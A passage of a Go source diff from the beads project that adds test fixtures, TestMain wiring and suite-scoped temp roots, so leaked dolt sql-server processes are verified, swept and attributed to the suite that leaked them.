%v", roots) + } +} + +// TestTempDirRootsRejectsOverbroadTMPDIR covers the bound on the bound. +// TMPDIR is an ordinary environment variable, so os.TempDir() can be handed +// "/" or a home directory; either would put every workspace on the box back +// inside the deleted-cwd arm, which is precisely what tempDirRoots exists to +// prevent. /tmp and the real per-user temp dir must survive that filter. +func TestTempDirRootsRejectsOverbroadTMPDIR(t *testing.T) { + // A real, non-temp home. The ambient one cannot be trusted for these + // expectations: CI (scripts/ci/lib/test-env.sh) runs the suite with HOME + // under /tmp, where "a workspace under the home directory" and "a path + // under /tmp" are the same path. + const home = "/home/beads-fixture" + t.Setenv("HOME", home) + + t.Run("normal TMPDIR keeps a usable root", func(t *testing.T) { + roots := tempDirRoots() + if len(roots) == 0 { + t.Fatal("tempDirRoots() is empty for the ambient TMPDIR") + } + for _, root := range roots { + if root == string(filepath.Separator) { + t.Errorf("tempDirRoots() = %v, which includes the filesystem root", roots) + } + if isUnderDir(filepath.Clean(home), root) { + t.Errorf("tempDirRoots() root %q contains the home directory %q", root, home) + } + } + }) + + t.Run("TMPDIR=/ is dropped", func(t *testing.T) { + t.Setenv("TMPDIR", "/") + roots := tempDirRoots() + for _, root := range roots { + if filepath.Clean(root) == string(filepath.Separator) { + t.Fatalf("tempDirRoots() = %v, want the filesystem root dropped", roots) + } + } + // The hardcoded /tmp fallback still has to come through, or the + // deleted-cwd arm would quietly stop working. + if !underAnyRoot("/tmp/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v, want /tmp still covered", roots) + } + if underAnyRoot(filepath.Join(home, "project", ".beads", "dolt"), roots) { + t.Errorf("tempDirRoots() = %v still covers a path under the home directory", roots) + } + }) + + t.Run("TMPDIR=$HOME is dropped", func(t *testing.T) { + t.Setenv("TMPDIR", home) + roots := tempDirRoots() + if underAnyRoot(filepath.Join(home, "project", ".beads", "dolt"), roots) { + t.Errorf("tempDirRoots() = %v covers a workspace under the home directory", roots) + } + if !underAnyRoot("/tmp/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v, want /tmp still covered", roots) + } + }) + + // The CI shape: HOME is a throwaway directory under /tmp. /tmp contains + // it, and must survive anyway — this is the case that emptied + // tempDirRoots on every Linux runner and disabled the arm there. + t.Run("sandbox HOME under /tmp keeps /tmp", func(t *testing.T) { + sandbox := "/tmp/beads-test-env-abc123/home" + t.Setenv("HOME", sandbox) + roots := tempDirRoots() + if !underAnyRoot("/tmp/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v with HOME=%s, want /tmp still covered", roots, sandbox) + } + for _, root := range roots { + if filepath.Clean(root) == string(filepath.Separator) { + t.Errorf("tempDirRoots() = %v, which includes the filesystem root", roots) + } + } + }) + + // TMPDIR=$HOME with a sandbox home: the root IS the home, so it is + // dropped even though a sandbox home is otherwise ignored. + t.Run("TMPDIR=sandbox HOME is dropped", func(t *testing.T) { + sandbox := "/tmp/beads-test-env-abc123/home" + t.Setenv("HOME", sandbox) + t.Setenv("TMPDIR", sandbox) + for _, root := range tempDirRoots() { + if filepath.Clean(root) == sandbox { + t.Errorf("tempDirRoots() kept %q, the sandbox home itself", root) + } + } + }) +} + +// TestIsCredibleTempRoot tables the predicate directly, including the shapes +// no environment on this box can produce. +func TestIsCredibleTempRoot(t *testing.T) { + const home = "/Users/dev" + cases := []struct { + root string + want bool + }{ + {"/tmp", true}, + {"/private/tmp", true}, + {"/var/folders/c1/xx/T", true}, + {"/var/folders/c1/xx/T/beads-bd-tests-1", true}, + {"/", false}, + {"//", false}, + {"", false}, + {".", false}, + {"relative/tmp", false}, + {home, false}, + {home + "/", false}, + {"/Users", false}, + {"/Users/dev/tmp", true}, + {"/Users/other", true}, + } + for _, tc := range cases { + if got := isCredibleTempRoot(tc.root, home); got != tc.want { + t.Errorf("isCredibleTempRoot(%q, %q) = %v, want %v", tc.root, home, got, tc.want) + } + } + + // A sandbox home (CI's HOME under /tmp) does not disqualify the roots + // that contain it; the root that IS the home is still out, and a real + // home under an overbroad TMPDIR still rejects that TMPDIR. + const sandbox = "/tmp/beads-test-env-abc123/home" + sandboxCases := []struct { + root, home string + want bool + }{ + {"/tmp", sandbox, true}, + {"/tmp/beads-test-env-abc123", sandbox, true}, + {sandbox, sandbox, false}, + {sandbox + "/", sandbox, false}, + {"/", sandbox, false}, + {"/home", "/home/runner", false}, + {"/tmp", "/tmp", false}, + } + for _, tc := range sandboxCases { + if got := isCredibleTempRoot(tc.root, tc.home); got != tc.want { + t.Errorf("isCredibleTempRoot(%q, %q) = %v, want %v", tc.root, tc.home, got, tc.want) + } + } + + // With no home known, only the structural rejections apply. + if !isCredibleTempRoot("/Users/dev", "") { + t.Error("isCredibleTempRoot with no home should accept an ordinary absolute path") + } + if isCredibleTempRoot("/", "") { + t.Error("isCredibleTempRoot must reject the filesystem root even with no home") + } +} + +// TestSandboxHomeUnderPerUserTempRoot is the macOS half of the sandbox-home +// carve-out. On Linux the throwaway HOME lands under /tmp; on macOS os.TempDir() +// is a per-user tree under /var/folders, so a suite that pins HOME to a +// t.TempDir() (cmd/bd/test_repo_beads_guard_test.go:128, +// internal/beads/testmain_test.go:50) puts HOME *inside* os.TempDir(). Judging +// sandbox-ness against /tmp alone made that home disqualify os.TempDir() +// itself, tempDirRoots() dropped to [/tmp /private/tmp], and the deleted-cwd +// arm went inert on every Mac (wy-j2zc8q). +func TestSandboxHomeUnderPerUserTempRoot(t *testing.T) { + // The platform table, exercised from any platform: goos is a parameter so + // the darwin row is pinned on Linux CI too, not skipped there. + t.Run("fixed temp roots by platform", func(t *testing.T) { + cases := []struct { + path string + goos string + want bool + }{ + {"/var/folders/zz/qqqqqqqq/T/fake-home", "darwin", true}, + {"/private/var/folders/zz/qqqqqqqq/T/fake-home", "darwin", true}, + {"/var/folders/zz/qqqqqqqq/T/fake-home", "linux", false}, + {"/tmp/beads-test-env-abc123/home", "darwin", true}, + {"/tmp/beads-test-env-abc123/home", "linux", true}, + // The invariant the bound exists for: a real home is never a + // sandbox home, whatever TMPDIR says. + {"/home/runner", "linux", false}, + {"/home/runner", "darwin", false}, + {"/Users/dev", "darwin", false}, + } + for _, tc := range cases { + if got := isUnderFixedTempRoots(tc.path, tc.goos); got != tc.want { + t.Errorf("isUnderFixedTempRoots(%q, %q) = %v, want %v", tc.path, tc.goos, got, tc.want) + } + } + + // The rows above are only host-independent because the darwin table + // spells the symlink-resolved forms out. canonicalRoots would add + // them via EvalSymlinks on a Mac and NOT on Linux, so without the + // literals the /private/… rows pass here and fail on Linux CI — the + // exact split this assertion closes (wy-j2zc8q). + darwinRoots := fixedTempRoots("darwin") + for _, want := range []string{"/tmp", "/private/tmp", "/var/folders", "/private/var/folders"} { + if !slices.Contains(darwinRoots, want) { + t.Errorf("fixedTempRoots(%q) = %v, missing the literal %q", "darwin", darwinRoots, want) + } + } + }) + + // End to end on THIS platform: HOME inside the real os.TempDir() must not + // cost us os.TempDir() as a root. + t.Run("HOME inside the real os.TempDir keeps it a root", func(t *testing.T) { + home := filepath.Join(os.TempDir(), "beads-sandbox-home-probe") + t.Setenv("HOME", home) + roots := tempDirRoots() + if len(roots) == 0 { + t.Fatal("tempDirRoots() is empty; the deleted-cwd arm could never fire") + } + if !underAnyRoot(filepath.Join(os.TempDir(), "beads-bd-tests-xyz", ".beads", "dolt"), roots) { + t.Errorf("tempDirRoots() = %v with HOME=%s, want os.TempDir() %q still covered", + roots, home, os.TempDir()) + } + }) +} diff --git a/internal/doltserver/testmain_integration_test.go b/internal/doltserver/testmain_integration_test.go index 8080af4e2..bab8b059e 100644 --- a/internal/doltserver/testmain_integration_test.go +++ b/internal/doltserver/testmain_integration_test.go @@ -8,8 +8,13 @@ import ( "testing" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" ) +const integrationSuiteRootPrefix = "beads-doltserver-tests-" + +var integrationSuiteTempRoot string + // TestMain covers the integration-tagged tests in this file's package // (lifecycle_integration_test.go, dirty_state_test.go, port_race_test.go, // socket_integration_test.go), which call doltserver.Start directly against @@ -29,21 +34,50 @@ import ( // the case Pdeathsig is meant to protect. See procattr_linux.go for why // this is a narrower, separate flag from BEADS_TEST_MODE. func TestMain(m *testing.M) { + os.Exit(runIntegrationTests(m)) +} + +func runIntegrationTests(m *testing.M) int { + doltserver.SweepDeadSuiteRoots(os.TempDir(), integrationSuiteRootPrefix) + root, err := testutil.PinSuiteTempRoot(integrationSuiteRootPrefix + "*") + if err != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", err) + return 1 + } + integrationSuiteTempRoot = root + defer os.RemoveAll(root) + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + os.Setenv("BEADS_TEST_MODE", "1") os.Setenv("BEADS_TEST_PDEATHSIG", "1") code := m.Run() - // No suite root passed: each test here owns its own t.TempDir(), not a - // shared package-level root, so this relies solely on the cwdDeleted - // signal (a leaked server's temp dir was already cleaned up out from - // under it) rather than any cwd-under-root match. - killed := doltserver.SweepOrphanedTestServers() - if len(killed) > 0 { - fmt.Fprintf(os.Stderr, "doltserver integration tests: swept %d orphaned dolt sql-server process(es)\n", len(killed)) - } + // Pinning both temporary-directory APIs above gives this sweep ownership + // even after a test has deleted the leaked server's working directory. + killed := doltserver.SweepSuiteTestServers(root) + code = doltserver.ApplyLeakPolicy("internal/doltserver (integration)", code, killed) os.Unsetenv("BEADS_TEST_MODE") os.Unsetenv("BEADS_TEST_PDEATHSIG") - os.Exit(code) + return code +} + +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + if integrationSuiteTempRoot == "" { + t.Fatal("TestMain did not pin integrationSuiteTempRoot") + } + if dir := t.TempDir(); !testutil.PathUnderSuiteRoot(dir, integrationSuiteTempRoot) { + t.Fatalf("t.TempDir() %q is outside suite root %q", dir, integrationSuiteTempRoot) + } + dir, err := os.MkdirTemp("", "guard-") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(dir) }) + if !testutil.PathUnderSuiteRoot(dir, integrationSuiteTempRoot) { + t.Fatalf("os.MkdirTemp() %q is outside suite root %q", dir, integrationSuiteTempRoot) + } } diff --git a/internal/storage/dbproxy/server/doltserver_test.go b/internal/storage/dbproxy/server/doltserver_test.go index 9cbcfed6d..15b598be8 100644 --- a/internal/storage/dbproxy/server/doltserver_test.go +++ b/internal/storage/dbproxy/server/doltserver_test.go @@ -26,6 +26,15 @@ import ( const stopTimeout = 15 * time.Second +const ( + // backendExitTimeout is how long a fixture waits for the dolt sql-server + // to leave the process table after Stop returned. It is generous on + // purpose: this only decides between "took a while" and "still there", + // and only the second one is a defect. + backendExitTimeout = 30 * time.Second + backendExitPoll = 50 * time.Millisecond +) + func requireDolt(t *testing.T) string { t.Helper() p, err := exec.LookPath("dolt") @@ -70,10 +79,144 @@ func newDoltServer(t *testing.T) (*server.DoltServer, string) { // Close the log file handle before t.TempDir's RemoveAll runs. // On Windows, an open handle prevents directory removal; Stop is // idempotent so this is safe even when the test calls Stop itself. - t.Cleanup(func() { _ = s.Stop(context.Background()) }) + verifiedStopCleanup(t, s, rootDir) return s, rootDir } +// verifiedStopCleanup is the stop the standard fixture registers. It +// stops the server and then asserts the `dolt sql-server` it recorded is +// actually gone. +// +// This cleanup used to be `_ = s.Stop(context.Background())`. Discarding the +// error made a failed stop indistinguishable from a clean one, and the +// t.TempDir() holding the server's working directory is removed AFTER this +// cleanup runs (t.TempDir registers its own cleanup first, so it runs last). +// A server that survives its Stop therefore ends the test as a live daemon +// serving a deleted directory. The suite-scoped post-run sweep catches that +// leak at package granularity; verifying here also names the responsible test +// before its cleanup deletes the evidence (wy-j2zc8q). +// +// The check runs on the clean path too, not only when Stop reports an error: +// "Stop returned nil" and "the server exited" are two different claims, and +// this is the fixture whose job is to hold the second one. It costs one +// identity probe against a record that a clean Stop has already removed. +func verifiedStopCleanup(t *testing.T, s *server.DoltServer, rootDir string) { + t.Helper() + t.Cleanup(func() { + // Read the backend's record BEFORE stopping: a clean Stop removes + // the pid file, so afterwards there is nothing left to verify + // against. + record := backendServerRecord(t, rootDir) + ctx, cancel := context.WithTimeout(context.Background(), stopTimeout) + defer cancel() + if err := s.Stop(ctx); err != nil { + t.Logf("DoltServer.Stop(%s): %v", rootDir, err) + } + requireBackendExited(t, record) + }) +} + +// backendServerRecord returns the pid file this package's DoltServer wrote +// for its `dolt sql-server` child. nil means there is nothing to verify: no +// server was started, or it shut down cleanly and removed its record. +// +// The whole record is returned, not just the PID: Birth is the process-birth +// token that makes the PID safe to act on at all. +func backendServerRecord(t *testing.T, rootDir string) *pidfile.PidFile { + t.Helper() + pf, err := pidfile.Read(rootDir, server.PIDFileName) + if err != nil { + t.Logf("read %s in %s: %v", server.PIDFileName, rootDir, err) + return nil + } + if pf == nil || pf.Pid <= 0 { + return nil + } + return pf +} + +// requireBackendExited fails the test if the recorded dolt sql-server is +// still running after Stop returned, then force-kills it so the leak does not +// outlive the run. +// +// Every step is gated on procid birth identity rather than the bare PID. Stop +// reaps the child, so its PID is reusable the instant it exits; signalling an +// unverified PID here could hit an unrelated process. A record with no birth +// token, or one whose token no longer matches, is left alone: not the server +// we recorded, nothing to report. +func requireBackendExited(t *testing.T, pf *pidfile.PidFile) { + t.Helper() + if pf == nil || pf.Pid <= 0 { + return + } + if pf.Birth == "" { + // A record from before birth tokens were written. There is no safe + // way to ask about that PID, so the check is skipped — say so, rather + // than looking like a silent pass. + t.Logf("backend record for pid %d carries no birth token; skipping the survived-Stop check", pf.Pid) + return + } + token := procid.Token(pf.Birth) + + deadline := time.Now().Add(backendExitTimeout) + for { + same, err := procid.Verify(pf.Pid, token) + if err != nil { + t.Logf("procid.Verify(%d): %v", pf.Pid, err) + return + } + if !same { + // Either the process is gone, or the PID now belongs to + // something else. Either way our server is not running. + return + } + if time.Now().After(deadline) { + break + } + time.Sleep(backendExitPoll) + } + + handle, err := procid.Open(pf.Pid, token) + if err != nil { + if backendStillRunning(t, pf.Pid, token) { + t.Errorf("dolt sql-server pid %d survived Stop by more than %s and could not be opened to kill: %v", + pf.Pid, backendExitTimeout, err) + } + return + } + killErr := handle.Kill() + _ = handle.Close() + if killErr != nil { + if backendStillRunning(t, pf.Pid, token) { + t.Errorf("dolt sql-server pid %d survived Stop by more than %s and could not be killed: %v", + pf.Pid, backendExitTimeout, killErr) + } + return + } + t.Errorf("dolt sql-server pid %d survived Stop by more than %s (force-killed)", pf.Pid, backendExitTimeout) +} + +// backendStillRunning re-checks birth identity after procid.Open or +// Handle.Kill failed, and reports whether the recorded server is verifiably +// still there. +// +// Both calls verify the token themselves and return a plain "does not match +// token" error when it no longer does — which is exactly what a process that +// exited between the wait loop's last poll and the kill attempt produces. +// Without this second look, a server that shut down a few milliseconds late +// would be reported as one that survived Stop entirely. A verify that itself +// errors reports "not running": the run is over, and an inconclusive probe is +// not evidence of a leak. +func backendStillRunning(t *testing.T, pid int, token procid.Token) bool { + t.Helper() + same, err := procid.Verify(pid, token) + if err != nil { + t.Logf("procid.Verify(%d) after a failed kill attempt: %v", pid, err) + return false + } + return same +} + func stopWithTimeout(t *testing.T, s *server.DoltServer) { t.Helper() ctx, cancel := context.WithTimeout(context.Background(), stopTimeout) diff --git a/internal/storage/dbproxy/server/testmain_test.go b/internal/storage/dbproxy/server/testmain_test.go new file mode 100644 index 000000000..82c2c844f --- /dev/null +++ b/internal/storage/dbproxy/server/testmain_test.go @@ -0,0 +1,86 @@ +package server_test + +import ( + "fmt" + "os" + "testing" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" +) + +// suiteRootPrefix is this suite's PinSuiteTempRoot pattern without its random +// tail. SweepDeadSuiteRoots globs for it, so the two must not drift. It is +// deliberately short: this package's unix-socket test builds a socket path +// under t.TempDir(), and sun_path is 108 bytes on linux / 104 on macOS. +const suiteRootPrefix = "beads-dbproxy-server-tests-" + +// suiteTempRoot is the TestMain-owned temp directory that every t.TempDir() +// in this package lands under, so the sweeps have a root they can vouch for. +var suiteTempRoot string + +// TestMain puts this package under the same suite-lifecycle contract as every +// other package that daemonizes a `dolt sql-server`. +// +// This suite starts real servers: newDoltServer (and the fixtures that build +// a DoltServer by hand) spawn `dolt sql-server` with cmd.Dir set to the +// rootDir, which is a t.TempDir(). Until now the package had no TestMain at +// all, which left two holes: +// +// - A run killed by `go test -timeout`, CI cancel, or Ctrl-C skips every +// t.Cleanup, so the server outlives the test binary. Its cwd survives too +// (nothing deleted it), and this package claimed no suite root — so that +// debris was reachable by neither arm of the sweep and simply accumulated. +// Claiming a root here is what makes the NEXT run able to reap it. +// +// - A server this suite leaks on a normal run has its cwd deleted by +// t.TempDir's RemoveAll. A root-scoped post-run sweep detects that leak +// and fails this package without consuming another live suite's evidence. +func TestMain(m *testing.M) { + os.Exit(testMainInner(m)) +} + +func testMainInner(m *testing.M) int { + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. Roots with no owner marker, and + // roots whose owner is still running (a parallel package under + // scripts/test.sh, a second `go test`), are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + // Pin TMPDIR under a suite-owned root so every t.TempDir() — including + // each server's rootDir, which is its working directory — is nested under + // something the sweeps may vouch for. + root, pinErr := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") + if pinErr != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", pinErr) + return 1 + } + suiteTempRoot = root + defer os.RemoveAll(root) + + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + + code := m.Run() + + // Best-effort reap of any dolt sql-server still running under this run's + // own root — the backstop for a test whose Cleanup did not get to run. + swept := doltserver.SweepSuiteTestServers(root) + return doltserver.ApplyLeakPolicy("internal/storage/dbproxy/server", code, swept) +} + +// TestTempDirLandsUnderSuiteSweepRoot guards the pinning above: if t.TempDir() +// ever stops landing under suiteTempRoot, the post-run sweep silently loses +// its scope and leaked sql-servers become unreapable again. +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + if suiteTempRoot == "" { + t.Fatal("TestMain did not pin suiteTempRoot; leaked dolt sql-server processes cannot be swept") + } + dir := t.TempDir() + if !testutil.PathUnderSuiteRoot(dir, suiteTempRoot) { + t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", dir, suiteTempRoot) + } +} diff --git a/internal/storage/dolt/suite_leak_linux_test.go b/internal/storage/dolt/suite_leak_linux_test.go new file mode 100644 index 000000000..538424153 --- /dev/null +++ b/internal/storage/dolt/suite_leak_linux_test.go @@ -0,0 +1,92 @@ +//go:build linux + +package dolt + +import ( + "context" + "errors" + "os" + "os/exec" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/doltserver" +) + +// This process boundary exercises the real TestMain allocation and exit policy, +// not just the selector: an ordinary t.TempDir fixture must belong to the suite. +// A shell blocked on stdin supplies a real process without requiring Dolt. +func TestSuiteFixtureLeakFailsOwningSuite(t *testing.T) { + if os.Getenv("BEADS_SUITE_LEAK_PROBE") == "1" { + cwd := t.TempDir() + cmd := exec.Command("/bin/sh", "-c", "read line", "dolt", "sql-server") + cmd.Dir = cwd + // The parent owns the write end. Closing it also stops the stand-in + // if this child fails before TestMain reaches the sweep. + cmd.Stdin = os.NewFile(3, "leak-probe-stdin") + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + go func() { _ = cmd.Wait() }() + // Intentionally omit fixture shutdown. t.TempDir removes cwd before + // m.Run returns, so the TestMain sweep must find the deleted-cwd leak. + return + } + + // A foreign suite's deleted-cwd process must survive the child's sweep. + foreign := exec.Command("/bin/sh", "-c", "read line", "dolt", "sql-server") + foreign.Dir = t.TempDir() + stdin, err := foreign.StdinPipe() + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = stdin.Close() }) + if err := foreign.Start(); err != nil { + t.Fatal(err) + } + exited := make(chan struct{}) + go func() { + _ = foreign.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = foreign.Process.Kill() + <-exited + }) + if err := os.Remove(foreign.Dir); err != nil { + t.Fatal(err) + } + + readEnd, writeEnd, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + defer readEnd.Close() + defer writeEnd.Close() + t.Setenv("BEADS_SUITE_LEAK_PROBE", "1") + t.Setenv("BEADS_TEST_SKIP", "dolt") + t.Setenv(doltserver.AllowLeakEnv, "") + // This child is a complete suite, not one of the schema-init helpers + // which deliberately bypass suite ownership and shutdown. + for _, key := range helperSubprocessSentinels { + t.Setenv(key, "") + } + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + child := exec.CommandContext(ctx, os.Args[0], "-test.run=^TestSuiteFixtureLeakFailsOwningSuite$", "-test.count=1") + child.ExtraFiles = []*os.File{readEnd} + out, err := child.CombinedOutput() + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("leaking suite returned %v; want exit 1\n%s", err, out) + } + if !strings.Contains(string(out), "FAIL: internal/storage/dolt leaked 1 dolt sql-server") { + t.Fatalf("suite failed without attributing its fixture leak:\n%s", out) + } + select { + case <-exited: + t.Fatal("child suite consumed the foreign suite's leak evidence") + default: + } +} diff --git a/internal/storage/dolt/suite_temp_test.go b/internal/storage/dolt/suite_temp_test.go new file mode 100644 index 000000000..619d311d1 --- /dev/null +++ b/internal/storage/dolt/suite_temp_test.go @@ -0,0 +1,29 @@ +package dolt + +import ( + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// Guard the actual TestMain wiring: both APIs must allocate fixtures under +// the owned root or a failed fixture cleanup can leave a green, leaking suite. +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + root := filepath.Dir(os.Getenv(testCircuitBreakerDirEnv)) + if root == "" || root == "." { + t.Fatal("TestMain did not pin its suite temp root") + } + if dir := t.TempDir(); !testutil.PathUnderSuiteRoot(dir, root) { + t.Fatalf("t.TempDir() %q is outside suite root %q", dir, root) + } + dir, err := os.MkdirTemp("", "guard-") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(dir) }) + if !testutil.PathUnderSuiteRoot(dir, root) { + t.Fatalf("os.MkdirTemp() %q is outside suite root %q", dir, root) + } +} diff --git a/internal/storage/dolt/testmain_test.go b/internal/storage/dolt/testmain_test.go index ab4a28018..02f367f74 100644 --- a/internal/storage/dolt/testmain_test.go +++ b/internal/storage/dolt/testmain_test.go @@ -57,22 +57,6 @@ func testMainInner(m *testing.M) int { // separate flag from BEADS_TEST_MODE. os.Setenv("BEADS_TEST_PDEATHSIG", "1") - // Suite-owned root for the orphan-server sweep below. Must never be a - // shared/global temp dir (see SweepOrphanedTestServers) — this one is - // unique to this test run and removed when it exits. - suiteTempRoot, tempRootErr := os.MkdirTemp("", "beads-storage-dolt-tests-*") - if tempRootErr != nil { - fmt.Fprintf(os.Stderr, "FATAL: failed to create suite temp root: %v\n", tempRootErr) - return 1 - } else { - defer os.RemoveAll(suiteTempRoot) - if err := os.Setenv(testCircuitBreakerDirEnv, filepath.Join(suiteTempRoot, "circuit")); err != nil { - fmt.Fprintf(os.Stderr, "FATAL: failed to isolate circuit state: %v\n", err) - return 1 - } - defer os.Unsetenv(testCircuitBreakerDirEnv) - } - // AD-01 (be-c5p): the test/bench harness opens a process-local dolt // sql-server (testcontainer or external port). The new database-name // firewall in dolt.New refuses test-named DBs unless this opt-in is set. @@ -87,8 +71,66 @@ func testMainInner(m *testing.M) int { // which skips the deferred TerminateDoltContainer below and leaks the // container. That load is what pushed the contended GET_LOCK past its // 5s wait in CI shard 3. + // + // It returns BEFORE the suite temp root below for the same reason: + // eight concurrent helpers would each run the dead-root sweep and each + // claim a root of its own, and os.Exit would abandon every one of + // them. A helper needs neither: it starts no server, so it has no + // orphans to sweep and nothing for a later run to reap. + // + // It DOES still need its own circuit-breaker directory. That state is + // one file keyed host:port:db, read-modify-written, and the parent's + // BEADS_TEST_CIRCUIT_DIR reaches every helper through the BEADS_ + // allowlist in integration.FilterEnv — so inheriting it would put all + // eight of TestMultiProcessSchemaInit's helpers on ONE file at once, + // against the same host:port:db. Each helper used to get a fresh + // directory under a suite root of its own; this keeps that isolation + // without the root, the sweep, or the marker. + circuitDir, circuitErr := os.MkdirTemp("", "beads-dolt-helper-circuit-*") + if circuitErr != nil { + fmt.Fprintf(os.Stderr, "FATAL: failed to isolate helper circuit state: %v\n", circuitErr) + return 1 + } + // A helper commonly exits through os.Exit (see above), which skips + // this defer. The directory holds a few bytes of circuit state and + // never a server, and it carries no owner marker, so no sweep will + // ever look at it: the occasional leftover is accepted rather than + // given machinery of its own. + defer os.RemoveAll(circuitDir) + if err := os.Setenv(testCircuitBreakerDirEnv, circuitDir); err != nil { + fmt.Fprintf(os.Stderr, "FATAL: failed to isolate helper circuit state: %v\n", err) + return 1 + } + defer os.Unsetenv(testCircuitBreakerDirEnv) return m.Run() } + + // Suite-owned root for the orphan-server sweep below. Must never be a + // shared/global temp dir (see SweepSuiteTestServers) — this one is + // unique to this test run and removed when it exits. + // + // Before claiming one, clear out the roots of earlier runs of this suite + // whose process is gone: a `go test -timeout` panic skips both the defer + // below and the post-Run sweep, so those runs' servers outlive every + // cleanup installed here (wy-j2zc8q). Unclaimed roots, and roots whose + // owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + suiteTempRoot, tempRootErr := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") + if tempRootErr != nil { + fmt.Fprintf(os.Stderr, "FATAL: failed to create suite temp root: %v\n", tempRootErr) + return 1 + } else { + defer os.RemoveAll(suiteTempRoot) + if err := doltserver.WriteSuiteOwnerMarker(suiteTempRoot); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", suiteTempRoot, err) + } + if err := os.Setenv(testCircuitBreakerDirEnv, filepath.Join(suiteTempRoot, "circuit")); err != nil { + fmt.Fprintf(os.Stderr, "FATAL: failed to isolate circuit state: %v\n", err) + return 1 + } + defer os.Unsetenv(testCircuitBreakerDirEnv) + } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) } else { @@ -129,7 +171,8 @@ func testMainInner(m *testing.M) int { // suite's own temp root (e.g. a SIGKILLed run of the multiprocess // schema init tests, which call doltserver.Start directly) — see // gastownhall/beads mybd-q6cz. - doltserver.SweepOrphanedTestServers(suiteTempRoot) + swept := doltserver.SweepSuiteTestServers(suiteTempRoot) + code = doltserver.ApplyLeakPolicy("internal/storage/dolt", code, swept) testServerPort = 0 os.Unsetenv("BEADS_DOLT_PORT") @@ -138,6 +181,10 @@ func testMainInner(m *testing.M) int { return code } +// suiteRootPrefix is testMainInner's PinSuiteTempRoot pattern without its random +// tail. It is what SweepDeadSuiteRoots globs for, so the two must not drift. +const suiteRootPrefix = "beads-storage-dolt-tests-" + // initSharedSchema creates a store on the shared DB, sets config, and commits // so that branches inherit the full schema. func initSharedSchema(port int) error { diff --git a/internal/storage/uow/doltserver_provider_test.go b/internal/storage/uow/doltserver_provider_test.go index 8d84bbd3f..3fa47c201 100644 --- a/internal/storage/uow/doltserver_provider_test.go +++ b/internal/storage/uow/doltserver_provider_test.go @@ -89,11 +89,7 @@ func TestNewDoltServerUOWProvider_HappyPath(t *testing.T) { require.NoError(t, err) storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) cfgPath := writeServerConfig(t, port) logPath := filepath.Join(t.TempDir(), "server.log") @@ -134,11 +130,7 @@ func TestNewDoltServerUOWProvider_ConcurrentInstantiation(t *testing.T) { require.NoError(t, err) storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) cfgPath := writeServerConfig(t, port) logPath := filepath.Join(t.TempDir(), "server.log") diff --git a/internal/storage/uow/external_doltserver_provider_test.go b/internal/storage/uow/external_doltserver_provider_test.go index 608b084fd..eab4eb81d 100644 --- a/internal/storage/uow/external_doltserver_provider_test.go +++ b/internal/storage/uow/external_doltserver_provider_test.go @@ -74,11 +74,7 @@ func TestNewExternalDoltServerUOWProvider_EndToEnd(t *testing.T) { storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) logPath := filepath.Join(t.TempDir(), "server.log") ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) @@ -140,11 +136,7 @@ func TestNewExternalDoltServerUOWProvider_ConcurrentInstantiation(t *testing.T) storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) logPath := filepath.Join(t.TempDir(), "server.log") external := configfile.ExternalDoltConfig{Host: 